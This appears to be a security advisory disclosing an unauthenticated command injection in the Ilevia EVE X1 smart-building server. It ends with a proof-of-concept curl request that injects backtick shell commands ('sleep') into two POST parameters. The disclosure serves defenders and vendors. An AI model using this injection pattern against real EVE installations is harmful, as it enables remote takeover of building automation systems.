Ilevia EVE X1 Server 4.7.18.0.eden (mbus) Unauthenticated Remote Command Injection


Vendor: Ilevia Srl.
Product web page: https://www.ilevia.com
Affected version: <=4.7.18.0.eden

Summary: EVE is a smart home and building automation solution designed
for both residential and commercial environments, including malls, hotels,
restaurants, bars, gyms, spas, boardrooms, and offices. It enables comprehensive
control and monitoring of electrical installations through a highly customizable,
user-friendly interface.

EVE is a multi-protocol platform that integrates various systems within
a smart building to enhance comfort, security, safety, and energy efficiency.
Users can manage building functions via iPhone, iPad, Android devices, Windows
PCs, or Mac computers.

The EVE X1 Server is the dedicated hardware solution for advanced building
automation needs. Compact and powerful, it is ideal for apartments, small
to medium-sized homes, and smaller commercial installations. It is designed
to manage entire automation systems reliably and efficiently.

Desc: The EVE X1 server suffers from an unauthenticated OS command injection
vulnerability. This can be exploited to inject and execute arbitrary shell
commands through the 'mbus_file' and 'mbus_csv' HTTP POST parameters through 
/ajax/php/mbus_build_from_csv.php script.

Tested on: GNU/Linux 5.4.35 (armv7l)
           GNU/Linux 4.19.97 (armv7l)
           Armbian 20.02.1 Buster
           Apache/2.4.38 (Debian)
           PHP Version 7.3.31


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2025-5962
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2025-5962.php
CVE ID: CVE-2025-34513
CVE URL: https://www.cve.org/CVERecord?id=CVE-2025-34513


01.05.2024

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$ curl -X POST "http://ilevia:8080/ajax/php/mbus_build_from_csv.php" -d "mbus_file=`sleep 10`&mbus_csv=`sleep 7`"
{"err":0,"msg":""}